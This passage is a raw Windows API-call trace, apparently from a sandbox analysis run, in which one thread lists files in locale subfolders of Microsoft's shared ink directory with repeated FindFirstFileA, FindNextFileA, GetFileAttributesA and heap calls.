lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.234] GetLastError () returned 0x12 [0123.234] GetCurrentThreadId () returned 0x9b0 [0123.234] GetLastError () returned 0x12 [0123.234] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.234] GetLastError () returned 0x12 [0123.235] GetCurrentThreadId () returned 0x9b0 [0123.235] GetLastError () returned 0x12 [0123.235] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.235] GetLastError () returned 0x12 [0123.235] GetCurrentThreadId () returned 0x9b0 [0123.235] GetLastError () returned 0x12 [0123.235] GetLastError () returned 0x12 [0123.235] FindClose (in: hFindFile=0x10f7310 | out: hFindFile=0x10f7310) returned 1 [0123.235] GetLastError () returned 0x12 [0123.235] GetLastError () returned 0x12 [0123.235] GetLastError () returned 0x12 [0123.235] GetLastError () returned 0x12 [0123.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.236] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0123.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a23b0 | out: hHeap=0x2ad0000) returned 1 [0123.236] GetCurrentThreadId () returned 0x9b0 [0123.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0123.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.236] GetLastError () returned 0x12 [0123.236] GetLastError () returned 0x12 [0123.236] GetLastError () returned 0x12 [0123.237] GetLastError () returned 0x12 [0123.237] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.237] GetCurrentThreadId () returned 0x9b0 [0123.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0123.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0123.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0123.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0123.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.237] GetCurrentThreadId () returned 0x9b0 [0123.237] GetLastError () returned 0x12 [0123.237] GetLastError () returned 0x12 [0123.238] GetLastError () returned 0x12 [0123.238] GetLastError () returned 0x12 [0123.238] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7890 [0123.238] GetLastError () returned 0x12 [0123.238] GetCurrentThreadId () returned 0x9b0 [0123.238] GetLastError () returned 0x12 [0123.238] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.238] GetLastError () returned 0x12 [0123.238] GetCurrentThreadId () returned 0x9b0 [0123.238] GetLastError () returned 0x12 [0123.239] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.239] GetLastError () returned 0x12 [0123.239] GetCurrentThreadId () returned 0x9b0 [0123.239] GetLastError () returned 0x12 [0123.239] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.239] GetLastError () returned 0x12 [0123.239] GetCurrentThreadId () returned 0x9b0 [0123.239] GetLastError () returned 0x12 [0123.239] GetLastError () returned 0x12 [0123.239] FindClose (in: hFindFile=0x10f7890 | out: hFindFile=0x10f7890) returned 1 [0123.239] GetLastError () returned 0x12 [0123.239] GetLastError () returned 0x12 [0123.240] GetLastError () returned 0x12 [0123.240] GetLastError () returned 0x12 [0123.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.240] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0123.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a22a8 | out: hHeap=0x2ad0000) returned 1 [0123.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0123.240] GetCurrentThreadId () returned 0x9b0 [0123.240] GetLastError () returned 0x12 [0123.240] GetLastError () returned 0x12 [0123.241] GetLastError () returned 0x12 [0123.241] GetLastError () returned 0x12 [0123.241] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0123.241] GetCurrentThreadId () returned 0x9b0 [0123.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0123.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0123.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0123.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.242] GetCurrentThreadId () returned 0x9b0 [0123.242] GetLastError () returned 0x12 [0123.242] GetLastError () returned 0x12 [0123.242] GetLastError () returned 0x12 [0123.242] GetLastError () returned 0x12 [0123.242] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7890 [0123.243] GetLastError () returned 0x12 [0123.243] GetCurrentThreadId () returned 0x9b0 [0123.243] GetLastError () returned 0x12 [0123.243] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.243] GetLastError () returned 0x12 [0123.243] GetCurrentThreadId () returned 0x9b0 [0123.243] GetLastError () returned 0x12 [0123.243] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="chstic.dgml", cAlternateFileName="")) returned 1 [0123.243] GetLastError () returned 0x12 [0123.243] GetCurrentThreadId () returned 0x9b0 [0123.243] GetLastError () returned 0x12 [0123.243] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="chstic.dgml", cAlternateFileName="")) returned 0 [0123.244] GetLastError () returned 0x12 [0123.244] GetCurrentThreadId () returned 0x9b0 [0123.244] GetLastError () returned 0x12 [0123.244] GetLastError () returned 0x12 [0123.244] FindClose (in: hFindFile=0x10f7890 | out: hFindFile=0x10f7890) returned 1 [0123.244] GetLastError () returned 0x12 [0123.244] GetLastError () returned 0x12 [0123.244] GetLastError () returned 0x12 [0123.244] GetLastError () returned 0x12 [0123.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0123.245] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml")) returned 0x20 [0123.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0123.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.246] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.246] GetCurrentThreadId () returned 0x9b0 [0123.246] GetLastError () returned 0x12 [0123.246] GetLastError () returned 0x12 [0123.246] GetLastError () returned 0x12 [0123.246] GetLastError () returned 0x12 [0123.246] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml", lpFilePart=0x9bada4*="chstic.dgml") returned 0x4c [0123.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.246] GetCurrentThreadId () returned 0x9b0 [0123.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0123.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0123.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.247] GetCurrentThreadId () returned 0x9b0 [0123.247] GetLastError () returned 0x12 [0123.247] GetLastError () returned 0x12 [0123.247] GetLastError () returned 0x12 [0123.247] GetLastError () returned 0x12 [0123.247] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0123.248] GetLastError () returned 0x12 [0123.248] GetCurrentThreadId () returned 0x9b0 [0123.248] GetLastError () returned 0x12 [0123.248] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.248] GetLastError () returned 0x12 [0123.248] GetCurrentThreadId () returned 0x9b0 [0123.248] GetLastError () returned 0x12 [0123.248] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.248] GetLastError () returned 0x12 [0123.248] GetCurrentThreadId () returned 0x9b0 [0123.248] GetLastError () returned 0x12 [0123.248] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.249] GetLastError () returned 0x12 [0123.249] GetCurrentThreadId () returned 0x9b0 [0123.249] GetLastError () returned 0x12 [0123.249] GetLastError () returned 0x12 [0123.249] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0123.249] GetLastError () returned 0x12 [0123.249] GetLastError () returned 0x12 [0123.249] GetLastError () returned 0x12 [0123.249] GetLastError () returned 0x12 [0123.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.250] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0123.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1fe8 | out: hHeap=0x2ad0000) returned 1 [0123.250] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0123.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.251] GetCurrentThreadId () returned 0x9b0 [0123.251] GetLastError () returned 0x12 [0123.251] GetLastError () returned 0x12 [0123.251] GetLastError () returned 0x12 [0123.251] GetLastError () returned 0x12 [0123.251] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.251] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0123.251] GetCurrentThreadId () returned 0x9b0 [0123.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0123.251] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0123.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0123.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.252] GetLastError () returned 0x12 [0123.252] GetLastError () returned 0x12 [0123.252] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0123.252] GetCurrentThreadId () returned 0x9b0 [0123.252] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.252] GetCurrentThreadId () returned 0x9b0 [0123.252] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.253] GetCurrentThreadId () returned 0x9b0 [0123.253] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.253] GetCurrentThreadId () returned 0x9b0 [0123.253] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0123.253] GetCurrentThreadId () returned 0x9b0 [0123.253] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0123.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2670 | out: hHeap=0x2ad0000) returned 1 [0123.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0123.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.254] GetCurrentThreadId () returned 0x9b0 [0123.254] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0123.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0123.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0123.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0123.254] GetCurrentThreadId () returned 0x9b0 [0123.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0123.254] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0123.255] GetCurrentThreadId () returned 0x9b0 [0123.255] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.255] GetCurrentThreadId () returned 0x9b0 [0123.255] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.255] GetCurrentThreadId () returned 0x9b0 [0123.255] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.255] GetCurrentThreadId () returned 0x9b0 [0123.255] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0123.256] GetCurrentThreadId () returned 0x9b0 [0123.256] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0123.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0123.256] RtlAllocateHeap 